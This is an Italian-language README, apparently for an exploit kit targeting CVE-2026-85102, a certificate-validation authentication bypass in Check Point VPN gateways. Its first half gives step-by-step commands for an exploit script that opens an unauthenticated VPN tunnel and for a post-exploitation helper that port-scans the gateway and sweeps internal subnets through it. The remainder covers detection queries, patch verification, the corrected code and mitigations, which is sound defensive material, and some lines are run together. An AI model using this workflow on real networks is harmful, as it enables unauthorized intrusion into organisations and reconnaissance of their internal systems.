
Bypass dell'autenticazione ed esecuzione di codice in remoto in VPN ad accesso remoto e site-to-site
Sfrutta CVE-2026-85102 per stabilire un tunnel VPN non autenticato su Check Point Security Gateway aggirando la validazione della catena di certificati IKE.
Advisory ufficiale Check Point: sk1000117
Prodotto: Check Point Security Gateway, Check Point Spark Firewall
Versioni interessate: R81.20, R82, R82.10 (pre-Bundle T24), R80-R81.10 (tutte EoS)
Non interessate: R82.20
Componente: libcpcert.so — fwKeyHolder_imp::IsChainTrusted()
Causa principale: IsChainTrusted() chiama CanonizeChain() ma ne ignora il valore di ritorno. Anche quando la canonicalizzazione della catena fallisce, la funzione restituisce TRUSTED.
Sfruttamento: Un attaccante può:
CanonizeChain()CVE-2026-85102.py # CVE-2026-85102: VPN tunnel establishment (auth bypass)
cp_postex.py # Post-exploitation helper (tunnel management, recon)
pip install cryptographyopenssl, iproute2 (comando ip), nc (netcat)testuser)# Establish tunnel with certificate bypass
sudo python3 CVE-2026-85102.py<target_ip> -u <vpn_username>
# Output includes Office Mode IP, e.g., 172.16.10.3
# Clean up tunnel
sudo python3 CVE-2026-85102.py--cleanup
# Establish tunnel and save state
sudo python3 cp_postex.py tunnel up <target_ip> -u <vpn_username>
# Check tunnel status
sudo python3 cp_postex.py tunnel status
# Scan gateway ports through tunnel
sudo python3 cp_postex.py recon scan
sudo python3 cp_postex.py recon scan -p 80,443,18190-18208
# Sweep internal networks through tunnel
sudo python3 cp_postex.py recon sweep 192.168.1.0/24
sudo python3 cp_postex.py recon sweep 192.168.1.0/24 -p 22
# Tear down tunnel
sudo python3 cp_postex.py tunnel down
sudo python3 cp_postex.py tunnel down -f # Flush all xfrm state
| Parametro | Descrizione |
|---|---|
<target_ip> | IP del gateway Check Point |
-u <username> | Nome utente VPN (predefinito: testuser) |
-l <local_ip> | IP locale manuale per sistemi multi-interfaccia |
-c <cert_host> | Host alternativo per l'estrazione del certificato ICA |
--cleanup | Rimuove la configurazione del tunnel |
Esaminare i log alla ricerca di accessi anomali a Mobile Access basati su certificati. In SmartConsole/Spark Management, andare su Logs & Monitor / Logs & Events e cercare eventi successivi al 12 settembre 2026:
product: "Mobile Access" AND action: "Log In" AND "Certificate"
Ispeziona gli eventi per utenti, client o indirizzi IP di origine non riconosciuti.
Soggetti di certificato sospetti osservati:
CN=vpn,OU=users,O=globalCN=vpn-user,OU=users,O=globalCN=vpnuser,OU=users,O=globalInstalla LivePatch Take 26 (BUNDLE_URGENT_SECURITY_UPDATE):
Verifica l'installazione:
# Check LivePatch status
cplp list
# Expected output includes:
# cpcert:cpca* CVE-2026-85102 CVE-2026-85103
# cpcert:iked* CVE-2026-85102 CVE-2026-85103
# cpcert:vpn* CVE-2026-85102 CVE-2026-85103
# cpcert:vpnrad* CVE-2026-85102 CVE-2026-85103
# cpcert_cprid:cprid* CVE-2026-85102 CVE-2026-85103
La correzione modifica libcpcert.so:
// IsChainTrusted: Check CanonizeChain return value
result = CanonizeChain(this, trusted_ca, sorted, out, i, trust_type);
if (!result) {
trusted_ca = NULL;
}
return trusted_ca;
// CanonizeChain: Check intermediate operation returns
if (!CopyChain(...)) return NULL;
if (!TruncateChain(...)) return NULL;
Disabilitare le regole VPN implicite e definire manualmente l'accesso VPN per UDP/500 e UDP/4500 per specifici indirizzi IP peer. Vedere sk179346.
Disabilitare le regole implicite della VPN ad Accesso Remoto. Creare regole esplicite di Controllo degli Accessi che consentano i servizi VPN ad Accesso Remoto richiesti al Security Gateway:
Nota: Queste mitigazioni non sono applicabili ai firewall Spark gestiti localmente.
Questo codice di exploit è fornito per scopi di ricerca sulla sicurezza e di testing. Utilizzarlo sui propri sistemi o con esplicita autorizzazione del proprietario del sistema.